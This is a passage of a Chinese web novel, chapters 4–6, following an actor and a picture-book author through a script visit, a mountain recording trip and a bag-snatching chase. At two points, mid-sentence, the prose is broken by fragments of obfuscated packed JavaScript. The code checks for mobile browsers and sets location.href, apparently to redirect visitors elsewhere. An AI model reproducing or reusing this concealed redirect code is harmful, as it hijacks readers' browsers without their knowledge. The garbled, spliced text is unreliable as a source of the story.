朴导高兴地说:“当然!剧本的最新一版,柳作家那里有,她修改得很细致,连一些场景的标注都写在了旁边,你可以直接找她要,反正你们是邻居,多方便,正好也可以交流一下对角色的看法,她对‘银’的理解,比我们任何人都要深,毕竟是她创造出来的孩子。” 车垠优合上文件夹,身体向后靠了靠,然后看向在座的几位:“如果剧本合适,我很愿意尝试。” 金秀敏代表的笑容更深了:“太好了,那我们就等您的好消息,细节我们可以慢慢谈。” 接下来的时间,他们又聊了些关于动画电影市场、制作团队过往作品还有项目大概时间表的事情,等离开的时候,天色已经微微暗了下来。 车垠优坐进车里,他没有柳夏妍的联系方式,只记住了门牌号3207。 他靠在椅背上,发动了车子。 回到公寓地下停车场,电梯从B2缓缓上升,数字跳动。 “叮。” 电梯在32楼停了下来,门开了。 车垠优看着门外安静的走廊,暖黄色的壁灯照亮了地毯,3207在走廊的右侧尽头。 他按住开门键,犹豫了大概十秒钟,然后他走了出去,电梯门在他身后合上。 走廊很安静,听不到其他住户的声音,他走到3207门口,深色的木门,门边有一个小小的金属门牌,刻着“3207”,门旁还有一个简易的可视门铃。 他抬起手,指关节在距离门铃几厘米的地方停住。 他吸了口气,指关节落下,按了下去。 门铃响了,门内传来轻微的脚步声,由远及近,然后是一个熟悉的声音:“哪位?” 车垠优说:“是我,车垠优。” 门内安静了两秒,柳夏妍通过可视门铃看到了他,然后,门打开了。 柳夏妍站在门后。 她显然是在家工作的状态,穿着一身浅米色的针织套装,上衣是宽松的V领开衫,袖子有点长,松松地盖住了手背的一半,裤子是同样质地的阔腿裤,垂坠感很好。 她的头发没有扎起,而是松散地披在肩上,发尾带着刚洗过不久的微卷。 她脑袋上戴着一个宽宽的、毛茸茸的兔子发箍,将额前的碎发都拢到了后面,露出光洁的额头和完整的眉眼,那兔子发箍是白色的,两只长长的耳朵软软地耷拉下来,随着她抬头的动作轻轻晃动。 她脸上没有化妆,皮肤在室内暖光下显得细腻干净,睫毛很长,在眼睑下投出浅浅的阴影,可能是因为发箍的缘故,她整个人的气质少了几分平时的知性和距离感,多了些少见的,甚至有点懵懂的可爱,她一只手还扶着门把手,另一只手垂在身侧,指尖上还沾着一点蓝色的颜料。 她仰头看着车垠优,眼睛里闪过一丝讶异,但很快,她笑了起来。 她的声音带着居家时特有的松弛:“晚上好,车垠优先生,是朴导让您来的吧?没想到这么快,朴导刚刚打电话给我,说是为了剧本的事。” 4. 大韩民国知名绘本女作者 柳夏妍把门完全打开,让出通道:“前辈请进吧,家里还有点乱,刚搬进来,很多东西还没收拾。” 车垠优点点头,走了进去,玄关很窄,地上放着几双帆布鞋和一双室内拖鞋,柳夏妍弯腰从鞋柜里拿出一双深灰色的新拖鞋,放在他脚边:“这双是新的,没人穿过。” “谢谢。” 换好鞋,车垠优跟着她走进客厅,公寓的布局和他那套很像,但装修的风格完全不同,这里更多使用暖色调的原木和米白色,墙上挂着几幅看起来是她自己画的风景水彩,客厅最显眼的是靠窗位置一张巨大的桌子,上面堆满了各种画具、纸张、颜料管,还有几盆小小的多肉植物。 台灯亮着暖黄的光,照亮了摊开在桌上的几张线稿。 除了工作台,其他地方倒是收拾得挺整齐,沙发是浅灰色的布艺材质,上面扔着几个米白色和驼色的抱枕,地上铺着厚实的编织地毯。 柳夏妍指了指沙发:“坐吧,想喝点什么,茶,咖啡,还是别的?” 车垠优在沙发上坐下,沙发很软,陷进去一些:“都可以。” 柳夏妍走向开放式厨房的岛台,走回来时,她顺手从厨房柜子里拿出一包东西,她把水杯放在车垠优面前的茶几上,然后撕开那包零食的包装袋,也放到茶几上。 “我晚上工作有时候会饿,随便吃点。”她说,自己也在单人沙发上坐下,盘起腿,那只毛茸茸的兔子发箍的耳朵随着她的动作晃了晃。 车垠优的目光落在零食袋上,顿住了。 那是一种很小众的米制脆饼,形状不规则,表面撒着海苔碎和一点点辣椒粉,包装袋是简单的透明材质,上面只有手写体的韩文品牌名“松风”。 这个牌子只在全州一家老作坊生产,产量很少,几乎不出现在大型超市,通常只有本地人才知道,车垠优是几年前拍戏时在全州待了三个月,偶然发现的,之后他每次去全州,或者有朋友去,都会让人帮忙带一些回来。 这是他极少数真正爱吃的零食之一,因为太不起眼,也从来没有在公开场合吃过,所以连他最亲近的经纪人和家人都不知道他有这个偏好。 而现在,这包零食就放在柳夏妍的茶几上。 车垠优指着那包脆饼:“这个,松风?” 柳夏妍刚拿起一片放进嘴里,咔嚓一声脆响,她转过头,眼睛亮了一下:“你知道这个?哇,很少有人知道这个牌子,我大学时候去全州写生,住的那家民宿老板送的,一吃就爱上了,后来每次去全州,或者有朋友去,我都会拜托代购些回来。” 车垠优伸手拿了一片,放进嘴里,熟悉的味道米的焦香,海苔的咸鲜,还有那一点点几乎察觉不到的辣意,恰到好处地刺激着味蕾。 他又拿了一片:“很巧,我也很喜欢这个。” “真的?”柳夏妍笑起来:“那我们口味还挺像的。” 车垠优也笑了,他放松了一些,背靠在沙发靠垫上。 柳夏妍又吃了几片,然后拍了拍手上的碎屑,站起身:“对了,剧本,你等一下。” 她走到工作台旁,在那堆纸张里翻找了一会儿,抽出一个厚厚的淡蓝色文件夹,然后又从书架底层拿出了一本硬壳精装书,走回来,把两样东西都递给车垠优。 “蓝色文件夹里是最新的剧本,第三版,旁边有我的批注,用绿色笔写的,红色笔是崔导演的意见,蓝色笔是李编剧的,你可能得适应一下这种花花绿绿的页面。” 她继续说,“这本是《黑猫》的原著,和市面上卖的版本一样,只是这本是我自己的样书,里面有些地方的插画和最终出版的稍微有点不同,但故事是完全一样的。” 车垠优接过,剧本文件夹沉甸甸的,能感觉到里面夹了很多页,原著绘本的封面是深蓝色的,上面用银色线条勾勒出一个邮筒,邮筒口流淌出星星点点的光芒。 他说:“谢谢,我需要签保密协议之类的吗?” 柳夏妍重新盘腿坐下,拿起自己的水杯喝了一口:“朴导应该会联系你的经纪人处理那些事,不过说实在的,剧本这东西,光看文字可能感受不到十分之一的效果,动画电影的魂在画面和声音里。” 车垠优翻开剧本的第一页,标准的剧本格式,场景描述,角色对话,但在页面空白处,果然有很多不同颜色的笔迹,柳夏妍的绿色字迹很工整,写着一些像是“这里‘银’的情绪应该更空茫一些,不是悲伤,是漫长的平静”之类的注释。 他看了几页,抬起头:“你连细节都想好了?” 柳夏妍说:“习惯了,画绘本的时候,每一页的画面色彩,甚至留白的大小,都要考虑进去,写剧本的时候,脑子里也会自动冒出对应的画面,我知道这可能会让导演觉得我管得太宽,但控制不住,就像自己的孩子,总希望他被打扮得漂漂亮亮地出门。” 车垠优说:“能理解。” 他又翻了几页,像是被什么东西温柔地击中了:“这个描述很好,有时候读到一个好剧本的某个段落,或者听到一首歌的某句歌词,就会有这种感觉,短暂的失神。” 柳夏妍没说话,只是拿起水杯又喝了一口,但车垠优注意到,她的嘴角微微翘了起来。 他继续往下看剧本,柳夏妍也没有打扰他,只是安静地坐在那里,偶尔吃一片脆饼,偶尔拿起茶几下面的一本素描本,用铅笔在上面随意地画着什么。 大约过了二十分钟,车垠优看了三分之一,他揉了揉眉心,抬起头,发现柳夏妍不知什么时候从冰箱里又拿出了两瓶饮料,不是水,是那种细长的玻璃瓶,里面装着淡琥珀色的液体,瓶身上贴着简单的手绘标签。 柳夏妍把一瓶递给他:“试试这个,我自己酿的梅子酒,兑了一点苏打水,度数很低,我有时候画到瓶颈,会喝一点,找到那种微醺的状态,下笔会放松很多。” 车垠优接过瓶子,玻璃冰凉,瓶身凝结着细小的水珠。 柳夏妍看着他迟疑的样子,问:“你不喝酒吗,我看资料上没写你酒精过敏之类的,还是说你待会儿要开车?那就算了,我给你换别的。” 车垠优摇头:“不是,能喝,只是有点意外。” 他拧开瓶盖,尝了一口,梅子的酸甜很好地平衡了酒味,苏打水的气泡在舌尖跳跃,确实很清爽。 “好喝吗?”柳夏妍问,自己也打开一瓶,直接对瓶喝了一大口。 车垠优回答:“比很多店里卖的好喝。” 柳夏妍满足地眯起眼睛,像只晒太阳的猫:“那就好,我奶奶教的方子,她以前在全州老家每年都酿,我搬来首尔后,也试着做,失败了三次,第四次才成功。” 她又喝了几口,车垠优注意到,她的脸颊开始泛起淡淡的粉色,不是腮红,是那种从皮肤底下透出来的自然的红晕。 柳夏妍把瓶子放在茶几上,站起身,脚步有点晃地走向工作台,她拿起铅笔,在那张没有完成的线稿上快速画了起来,车垠优一边喝梅子酒,一边继续看剧本,偶尔抬头看她一眼。 她画画时的样子很专注,微微皱着眉,嘴唇抿着,铅笔在纸上发出沙沙的声音,那只兔子发箍的耳朵随着她轻微的动作一颤一颤的。 她画一会儿,就拿起酒瓶喝一口,然后继续画。 车垠优把剧本翻过一页,看到一场“银”和黑猫的对话戏,“银”的台词很少,但每一句都很有分量,他试着在脑子里默念那些台词,寻找合适的语气和节奏。 等他再次抬头时,发现柳夏妍已经画完了那张线稿,正靠在椅背上,闭着眼睛,手里还松松地握着铅笔,她的脸颊更红了,呼吸也比平时沉一些。 “柳作家?”车垠优轻声叫了一声。 柳夏妍没有反应。 车垠优放下剧本,站起身走过去,她好像真的睡着了,睫毛在眼睑下投出浅浅的阴影,握着铅笔的手指松开了些,他犹豫了一下,正要伸手轻轻推推她的肩膀,柳夏妍却突然睁开了眼睛。 她迷迷糊糊地看着车垠优,眨了眨眼,然后笑了:“啊,我睡着了?不对,没睡着,就是眯了一下。” 她撑着椅背站起来,身体晃了晃,车垠优下意识伸手扶住她的胳膊:“你喝多了。” 柳夏妍摆摆手:“没有,就一点点,真的,就一瓶,我以前能喝两瓶呢,今天可能没吃晚饭。” 她说着,绕过车垠优,又走回客厅,脚步虚浮,但还勉强能走直线,她走到茶几边,拿起车垠优放在那里的梅子酒瓶子,晃了晃。 “你喝完了?我再给你倒点。”她说着,又走向厨房。 “不用了,我……” “没事没事,就一点。”柳夏妍已经打开了冰箱,拿出那个装着梅子酒的大玻璃罐,她走回来,拿起车垠优的玻璃杯,里面原本的冰水早就喝完了,她开始往里面倒酒。 倒酒的动作很慢,她的手有点抖,淡琥珀色的液体注入杯中,快到杯口时,她脚下突然一个踉跄,身体向前倾斜,酒罐和杯子都脱手而出。 车垠优反应很快,他几乎是两步跨过去,右手一把抓住柳夏妍的胳膊,用力往自己身前一拉,左手则迅速伸出去,险险地接住了即将落地的酒罐,玻璃杯掉在地毯上,发出沉闷的声响,好在没碎,只是酒液洒了一片。 柳夏妍整个人撞进他怀里,很轻的一个碰撞,带着梅子酒的甜香,她的额头抵在他的锁骨处,兔子发箍的绒毛蹭到了他的下巴。 车垠优能感觉到怀里身体的柔软和温热,还有她不太平稳的呼吸,他抓着她的胳膊,手指微微收紧:“小心。” 柳夏妍慢慢抬起头,她的脸离他很近,近到他能看清她睫毛的弧度,看清她脸颊上那片越来越明显的红晕,她的眼神聚焦在他脸上,眨了眨眼,然后露出一个带着歉意的笑容。 她的声音很轻:“抱歉,真的抱歉,我好像真的有点喝多了。” 说完这句话,她身体一软,整个人往下滑。 车垠优赶紧揽住她的腰,支撑住她,柳夏妍的头靠在他肩上,眼睛已经闭上了,呼吸变得均匀绵长。 “柳作家?柳夏妍?”车垠优叫了两声。 没有回应,她睡着了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154268|196507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 车垠优站在原地,怀里抱着一个熟睡的女人,地上是洒掉的梅子酒和歪倒的玻璃杯,茶几上摊着剧本和零食袋,这场景实在有些出人意料。 他叹了口气,小心地调整姿势,一手穿过她的膝弯,把她打横抱了起来,她很轻,比看起来还要轻,兔子发箍差点掉下来,他只好用下巴轻轻压了压,把它固定回原位。 他抱着她走到沙发边,将她轻轻放在长沙发上,柳夏妍在躺下的瞬间无意识地侧了侧身,蜷缩起来,脸埋在抱枕里,那只毛茸茸的发箍终于滑落,掉在沙发边缘。 车垠优捡起发箍,放在茶几上,然后他走向应该是卧室的房间,门虚掩着,推开门,里面很简单,一张床,一个衣柜,一个梳妆台,床上铺着浅灰色的床单和被套。 他从床上拿起一条薄毯,想了想,又拉开衣柜,里面挂着几件衣服,下层整齐叠放着备用被褥,他抽出一条看起来更厚实些的被子。 走回客厅,他把被子轻轻盖在柳夏妍身上,掖好被角,她睡得很沉,呼吸平稳,在客厅暖黄的灯光下,看起来有种不设防的柔软。 车垠优站在沙发边看了她几秒,然后转身开始收拾残局,他把酒罐放回冰箱,捡起地上的玻璃杯,拿到厨房冲洗干净,用纸巾吸干地毯上的酒渍,把零食袋封好口,放在茶几一角,最后,他把剧本和原著绘本整理好,放回工作台上原来的位置。 做完这一切,他走回沙发边,又看了柳夏妍一眼,确定她睡得安稳,被子盖得好好的,他才轻手轻脚地走向玄关。 换上自己的鞋,打开门,走出去,再轻轻把门带上。 “咔哒”一声轻响,门锁合上。 公寓里恢复了寂静。 几秒钟后,沙发上,柳夏妍缓缓睁开了眼睛。 她坐起身,身上的被子滑落,抬手摸了摸自己的脸颊,那里还残留着酒意带来的温热,但她的头脑清醒得不能再清醒。 她抬起左手,举到眼前。 手腕上方几毫米处,那道透明的进度条清晰可见,底部的红色水柱,从之前的3%,涨到了5%。 柳夏妍盯着那5%看了很久,然后放下手,轻轻叹了口气。 “还是太难涨了啊。”她低声喃喃。 一周后的傍晚,柳夏妍坐在公寓阳台的藤编椅子上。 阳台不大,但被她布置得很舒服,几盆绿植,一张小圆桌,一把椅子,桌上放着一杯冒着细密气泡的香槟。 她穿着宽松的白色亚麻衬衫和深蓝色阔腿裤,光着脚,脚踝纤细,头发松松地绾在脑后,几缕碎发被晚风吹得飘起,她手里拿着手机,屏幕上显示着几条未读的语音消息。 是车垠优发来的。 她点开第一条。 “柳作家,这是我录的几个试音片段,按照剧本第三页到第五页的内容,还有你标注的那场戏,我试了几种不同的情绪浓度,从最平淡的到稍微有点起伏的,你听听看,哪种感觉更接近你想象中的‘银’。” 声音通过手机扬声器传出来,在安静的阳台上显得格外清晰, 车垠优的声音本身质感就很好,在第一条录音里,他的语气非常平静,几乎没有什么情绪波动,像是在陈述事实,确实符合银的特质。 柳夏妍喝了一口香槟,继续点开第二条。 第三条则多了一点点的温度,不是热情,而是一种被触动后的微弱的暖意。 柳夏妍听完三条,放下手机,又喝了一口香槟,晚风吹过来,带着夏夜晚特有的温热气息。 她拿起手机,开始打字。 “都听了,前辈声音条件很好,质感也对,但是,好像缺一点东西。” 消息发送出去后不到一分钟,手机震动,车垠优回复了:“缺什么?” 柳夏妍看着楼下,公寓正门的车道入口处,一辆黑色的宾利缓缓驶入,停下,车门打开,车垠优从驾驶座走出来。 他今天穿得很休闲,浅灰色卫衣和黑色长裤,戴着棒球帽,他关上车门,抬头往楼上看了看,当然,他看不到32楼的阳台。 柳夏妍继续打字:“缺一点‘气音’,不是喘气的那种气音,是更轻的,像是声音本身在呼吸的那种感觉,银不是人类,他的声音不应该完全遵循人类的发声方式,应该更空灵一些?更梦幻一些?我也说不准。” 车垠优的消息很快回过来:“气音具体要怎么调整,有参考吗?” 柳夏妍想了想,手指在屏幕上快速移动:“我们可能得去一个地方,那里能让前辈的声音有点变化。” 这时候,门铃响了。 柳夏妍放下手机,端着香槟杯,赤脚走到门口,她没有立刻开门,而是先通过猫眼看了看外面。 车垠优站在门外,手里拿着手机,帽檐压得有点低。 柳夏妍打开门。 车垠优抬起头,看到她赤着脚,衬衫袖子卷到手肘,整个人笼罩在身后客厅暖黄的光线里,他愣了一下:“我刚好在附近,就想着直接上来找你聊,你刚刚说,让我的声音做些改变……那么,去什么地方?” 5. 大韩民国知名绘本女作者 柳夏妍反手关上门,从玄关的挂钩上取下一件薄薄的米白色防风外套,又拎起一个深绿色的帆布背包,单肩背好,她弯腰穿上放在门口的一双浅灰色运动鞋,鞋带是亮黄色的。 她抬头对车垠优笑了笑:“前辈,走吧,那个地方开车大概四十分钟。” 车垠优点点头,两人一起走进电梯,电梯下行时,他说:“我来开车。” 柳夏妍说:“好,跟着导航就行,我告诉前辈大概方向。” 车子驶出地下车库,西边的天空还残留着一抹橙红,车垠优按照柳夏妍说的,设置好导航,目的地是首尔东北方向郊外的一座小山,叫“云岘山”,山不算高,海拔只有六百多米,但植被茂密,有几条修缮良好的徒步道。 “为什么是那里?”车垠优握着方向盘,看着前方的车流。 柳夏妍靠在副驾驶的座椅上,说:“我以前去那里写生,坐在山顶发呆的时候,总觉得那里的环境能让人放空,更加沉浸,我想让前辈在那里试试‘银’的台词,也许能找到那种气音的感觉。” 车垠优看了她一眼,她睫毛低垂,不知道在想什么。 “你经常一个人去爬山?”他问。 柳夏妍转过头:“不算经常,但压力大的时候会去,画画遇到瓶颈,或者改编剧本卡住的时候,走一走,出点汗,看看树,听听风声,脑子会清楚很多,前辈呢?平时除了健身,会做户外运动吗?” 车垠优坦率地说:“不是不想,是不方便,容易被认出来,引起不必要的麻烦,就算全副武装,去人少的地方,也总有被拍到的风险,所以大部分运动都在健身房解决。” 柳夏妍说:“那挺可惜的,运动的时候,风刮过皮肤的感觉,泥土和青草的气味,踩在落叶上嘎吱嘎吱的声音,这些是没办法在健身房体验到的。” 车子驶离市区,高楼渐渐减少,空气似乎也变得清新了些,从车窗缝隙钻进来的风,带着植物的气息。 四十分钟后,他们抵达云岘山脚下,停车场里车子不多,这个时间大部分登山者都已经下山了,柳夏妍背上背包,车垠优也戴好帽子和口罩,两人沿着指示牌走向登山道的入口。 登山道不算陡,蜿蜒向上,路两旁是高大的松树和栎树,枝叶在傍晚的风里发出沙沙的声响。 柳夏妍走在前面,步伐轻快:“我们从松语径上去,这条路比较平缓,但绕一点,到山顶大概要四十分钟,另一条青云梯陡很多,快,但累,我们今天不赶时间,走松语径吧。” “好。”车垠优跟在她身后,他的运动神经很好,这种程度的山路对他来说很轻松,但他注意到柳夏妍也走得相当轻快,显然也经常运动。 走了大概十分钟,山路拐过一个弯,眼前出现一小片相对开阔的林间空地,空地上长满了低矮的蕨类植物,中间有一块巨大的表面布满青苔的岩石,柳夏妍停下来,从背包侧袋拿出水壶,喝了一口。 “累了?”车垠优问。 柳夏妍把水壶递给他:“还好,要吗?我自己泡的柠檬薄荷水。” 车垠优接过,拧开盖子喝了一口,清凉,带着柠檬的酸和薄荷的清爽:“好喝。” “薄荷是我在阳台自己种的。”柳夏妍接过水壶放好,忽然抬起手指了指岩石后面,“看那边。” 车垠优顺着她指的方向看去,有两只灰褐色的小松鼠,正抱着一颗松果,快速而灵巧地啃咬着,它们的尾巴蓬松,随着咀嚼的动作一抖一抖的。 听到人声,其中一只停下来,抬起小脑袋,黑溜溜的眼睛警惕地看向他们,然后“咻”地一下窜上了旁边的松树,几下就消失在枝叶间,另一只犹豫了一下,抱起剩下的半颗松果,也跟着跑了。 车垠优看着,不由笑了一下。 他们继续往上走,柳夏妍边走边跟车垠优介绍沿途看到的植物,那种叶子像小扇子的是银杏的幼苗,那片开着淡紫色小花的叫韩信草,石头缝里钻出来的、毛茸茸的是鼠尾草。 “你怎么认识这么多?”车垠优问。 柳夏妍蹲下来,轻轻摸了摸一片蕨类植物的叶子:“画画的职业病,画风景,画植物,总得知道它们长什么样,叫什么名字,不然画出来就没灵魂,就像前辈演一个角色,总得知道他的背景、他的习惯、他说话的方式,对吧?” “嗯。”车垠优也蹲下来,看着那片叶子。 柳夏妍站起来,拍了拍手上的灰:“不过我知道的也就皮毛,真问深了,我也答不上来。” 他们又走了二十分钟,越往上,视野逐渐开阔,能看见远处层层叠叠的山峦轮廓,风也大了一些,吹在脸上凉丝丝的。 最后一段路是连续的石阶,柳夏妍的呼吸明显加重了,额头上渗出细密的汗珠,车垠优走在她后面一步远的地方,随时准备伸手扶她,但她始终没有停下脚步,一步一步稳稳地往上走。 终于,踏过最后一级石阶,眼前豁然开朗。 他们到达了山顶。 山顶是一块相对平坦的空地,大概半个篮球场大小,中间有一个小小的观景亭,亭子旁立着一块石碑,此刻山顶空无一人,只有风穿过亭子发出的轻微呼啸声。 首尔市的灯光在远处连成一片璀璨的光海,汉江像一条黑色的缎带,蜿蜒穿过那片光芒。 柳夏妍长长地舒了口气,双手撑在膝盖上,微微喘息:“到了,好久没爬,还是有点累。” 车垠优也调整着呼吸,他虽然体力好,但一路走上来的陡峭阶梯很多,运动量也不小,胸口起伏着,额角也有了汗意,他摘下帽子,用手背擦了擦汗。 柳夏妍直起身,走到观景亭里,把背包放在木制的长椅上,她拉开背包的拉链,从里面拿出一个小型的便携录音设备,看起来像个黑色的方形盒子。 她把耳机递给车垠优:“来,前辈试试,念几句‘银’的台词,随便哪段都行。” 车垠优接过耳机戴上,耳机隔音很好,外界的声音一下子被削弱了,只能听到自己呼吸的声响,他闭上眼睛,深呼吸,一次,两次,三次。 心脏在胸腔里有力地跳动,咚咚,咚咚,运动带来的热量还在身体里流动,皮肤表面有汗蒸发带来的凉意,呼吸渐渐从短促变得深长,但确实,气息比平时要浅一些,浮一些,好像不需要太费力,声音就能从喉咙里飘出来。 他睁开眼睛,看向柳夏妍,她已经打开了录音设备,红色的指示灯亮着,表示正在录音,她对他点了点头。 车垠优没有看剧本,那些台词他已经记在脑子里了,他望着远处逐渐亮起的城市灯火,开口,用“银”那种平静空茫的语气,念出那段关于时间的独白: “我能听到藏在时间里的声音,哭声,笑声,没说出口的告白,来不及的道歉,它们像细小的珍珠,滚落在时间的缝隙里,等着被拾起……” 他说完了,声音通过耳机传回自己耳中,确实和平常不一样,因为气息浮动,每个字的尾音都带着一丝极轻微的,几乎察觉不到的颤动,像蜻蜓翅膀掠过水面泛起的涟漪,好像声音不是从胸腔深处发出来的,而是从更高、更飘渺的地方降落下来的。 柳夏妍按下了停止键,她没有立刻说话,而是自己戴上了另一副耳机,回放刚才的录音。 车垠优摘掉耳机,山顶的风吹过来,带着夜晚的凉意,吹干了他额头的汗。 柳夏妍听了两遍,然后她抬起头,眼睛在暮色中亮晶晶的:“对了,就是这个感觉!前辈,你听……” 她调大音量,把耳机递还给车垠优,车垠优重新戴上,果不其然,比之前在呆闷的录音棚里录出来的好多了。 他说:“好,我会记住这个声音,录音的时候保持住。” 柳夏妍用力点头,笑容灿烂:“嗯!” 她关掉录音设备,小心地放回背包里,然后走到围栏边,双手撑在木栏上,眺望远处的夜景,风把她的头发吹得向后飘起。 车垠优也走过去,站在她旁边,两人之间隔着一米左右的距离。 “好久没有这么放松过了。”车垠优忽然说。 柳夏妍侧头看他:“是吗?你平时都做什么?” “拍戏之余,健身,看电影,偶尔打游戏,或者就是在家发呆,但那些和现在这种感觉不一样。” 柳夏妍笑了:“是啊,亲近自然的感觉真好。” 车垠优也笑了,他的目光落在她脸上,因为运动,她的脸颊还泛着健康的红晕,鼻尖有细小的汗珠,她把原本披散的头发扎成了高高的马尾,露出修长的脖颈和清晰的锁骨线条,几缕碎发被风吹得贴在脸颊边,她随手把它们别到耳后。 车垠优感觉自己的心跳好像又快了一些,不知道是因为刚才爬山的运动还没完全平复,还是因为别的什么。 柳夏妍忽然抬起左手,装作整理头发,手腕不经意地掠过眼前,她的目光迅速扫过手腕上方只有她能看见的进度条里,红色的水柱,从之前的5%,悄然跳动到了8%。 她的睫毛轻轻颤了一下,然后若无其事地放下手。 车垠优突然开口道:“对了,我记得这山上有一间餐厅,不在山顶,在下山那条岔路往里走一点的地方,很私密,知道的人不多,用的都是山上自种的蔬菜,还有附近溪流里的鱼,我几年前在这里拍过一个山林的戏,剧组发现的,味道很不错,你饿不饿?想不想去尝尝?” 柳夏妍转过头看他:“现在,下山去?” “嗯,从另一条路下去,大概走二十分钟就能到,吃完饭,我们可以从餐厅那条路直接回到停车场,不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154269|196507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原路返回。”车垠优说:“当然,如果你累了,我们就直接回去。” 柳夏妍摸了摸肚子,爬山确实消耗体力,她中午吃得简单,现在确实饿了。 她说:“好啊,去尝尝,我还真不知道这山上有餐厅。” 他们沿着另一条更平缓的石板路下山,这条路比上来那条宽一些,两旁立着古朴的石灯,灯罩里透出暖黄色的光,照亮脚下的路,走了大概十五分钟,拐过一个弯,眼前出现几栋低矮的,屋檐翘起的韩屋建筑,窗户里透出温暖的光,木制的招牌上用毛笔写着“山荫食舍”。 推门进去,里面空间不大,只有七八张桌子,但布置得很雅致,墙上挂着水墨画,角落里有小小的假山水景,流水潺潺,客人不多,只有两桌,都在安静地用餐。 穿着棉麻制服的女店主迎上来,看到戴帽子和口罩的车垠优时愣了一下,尽管包裹的严实没认出来,但仍然能看出绝对是个大帅哥,她很快恢复职业性的微笑,引他们到最里面靠窗的隐蔽位置坐下。 “两位想吃点什么?”店主递上菜单,是手写的。 车垠优把菜单推给柳夏妍:“你点吧,这里没有固定的套餐,都是看当天有什么食材。” 柳夏妍看了看菜单:“有什么推荐吗?” “今天的山菜很新鲜,有蕨菜、刺嫩芽、沙参,蘑菇是早上刚从后面林子里采的松茸和香菇,鱼是山下溪流里的香鱼,用盐烤的,豆腐是我们自己做的。”店主熟练地介绍。 “那就山菜拌饭,松茸汤,盐烤香鱼,再来一份豆腐煲。”柳夏妍点完,看向车垠优,“够吗?” 车垠优对店主点点头:“够了,再加一瓶米酒,温的。” “好的,请稍等。” 店主离开后,柳夏妍环顾四周:“这里真不错。” 很快,菜陆续上来了,山菜拌饭装在黑色的石锅里,蔬菜翠绿,米饭油亮,上面卧着一个黄澄澄的太阳蛋,松茸汤盛在白色的陶碗里,清澈的汤水中漂浮着几片薄薄的松茸,香气扑鼻,盐烤香鱼表皮焦黄,鱼肉雪白细嫩,豆腐煲咕嘟咕嘟地冒着泡,里面除了嫩豆腐,还有虾仁、蛤蜊和蔬菜。 车垠优给两人倒了温热的米酒,酒液是乳白色的,带着淡淡的甜香。 “为了动画电影成功!”柳夏妍举起小瓷杯。 车垠优和她碰杯:“一定会的。” 两人聊了很多,到最后,车垠优静静地听着,餐厅里流淌着轻柔的传统音乐,窗外的夜色已经完全降临,只能看到石灯照亮的几级台阶和黑黝黝的树影。 吃完饭,结账离开,米酒喝得不多,两人都很清醒,沿着餐厅旁的一条小路往下走,这条路更僻静,没有石灯,只有月光和远处停车场隐约的灯光照明。 “走慢点,小心脚下。”车垠优说,很自然地走在了靠外侧的位置。 小路两旁是茂密的灌木丛,夜风吹过,树叶哗哗作响,不知名的虫子在草丛里鸣叫,声音清脆。 “你看那边。”柳夏妍忽然停下脚步,指向路边一棵大树的根部。 车垠优顺着她指的方向看去,在树根的缝隙里,有几点微弱的、黄绿色的荧光,时明时灭。 车垠优有些惊讶:“是萤火虫,这个季节还有?” 柳夏妍蹲下来,凑近了些看:“可能是最后一批了,我以前夏天来的时候,这一片有很多,像地上落满了会呼吸的星星,但今年来得晚,还以为看不到了。” 那几点荧光很微弱,但在一片黑暗里,显得格外梦幻,它们缓缓地移动着,光点忽明忽暗,像是微小的、有生命的小灯笼。 车垠优看了一会儿,站起来,从口袋里掏出手机,打开手电筒功能,照着脚下的路。 他们继续往下走,大概又走了十分钟,小路汇入了一条更宽的水泥路,沿着这条路再走五分钟,就能回到停车场了,水泥路两旁有路灯,光线充足了很多,偶尔有下山的车辆缓慢驶过。 就在这时,柳夏妍忽然感觉有什么人从她身边猛地擦过,力道很大,撞得她一个趔趄,差点摔倒。 “啊!”她惊呼一声。 车垠优立刻伸手扶住她:“怎么了?” 柳夏妍站稳,第一时间看向自己刚才挎在胳膊上的帆布背包,居然不见了。 那是个不大的布包,的确是有钱包不错,但更重要的是,里面装着她今天带出来的最新剧本标注手稿,还有她正在构思的新绘本的几页初稿草图。 柳夏妍转头看去,只见一个穿着深色连帽衫、身材瘦小的身影,正抓着她的布包,飞快地朝着路边一条更黑的小岔路跑去。 柳夏妍下意识喊出声:“我的包,你给我站住!” 车垠优已经意识到发生了什么,迈出大长腿,蹭的一下窜了出去。 6. 大韩民国知名绘本女作者 柳夏妍的惊呼声未落,那个深色身影已经窜出去四五米远,眼看就要消失在岔路口的阴影里。 车垠优的反应快得惊人。 他的爆发力极强,柳夏妍站在原地,只看到一个黑色的剪影,在路灯下以惊人的速度拉近与前方小偷的距离。 前面的小偷显然没想到有人能追得这么快,回头看了一眼,吓得一个踉跄,差点摔倒,他更加拼命地往岔路里钻。 小路不平,有碎石和裸露的树根,小偷跑得跌跌撞撞,速度明显慢了,车垠优抓住这个机会,再次加速,三步并作两步,两人之间的距离迅速缩短到两米、一米。 就在小偷快要冲出小路另一端,回到有灯光的主路时,车垠优右腿猛地发力一蹬,整个人凌空跃起,精准地伸出右手,一把抓住了小偷背上连帽衫的帽子。 “啊!”小偷惊呼一声,被这突如其来的力道拽得向后仰倒, 车垠优落地,借着惯性身体顺势一转,左手已经抓住了小偷握着布包的那只手腕,他没有用蛮力硬抢,而是拇指用力一扣对方手腕内侧的某个位置,那是他在表演的动作训练课上学到的,压迫神经的方法。 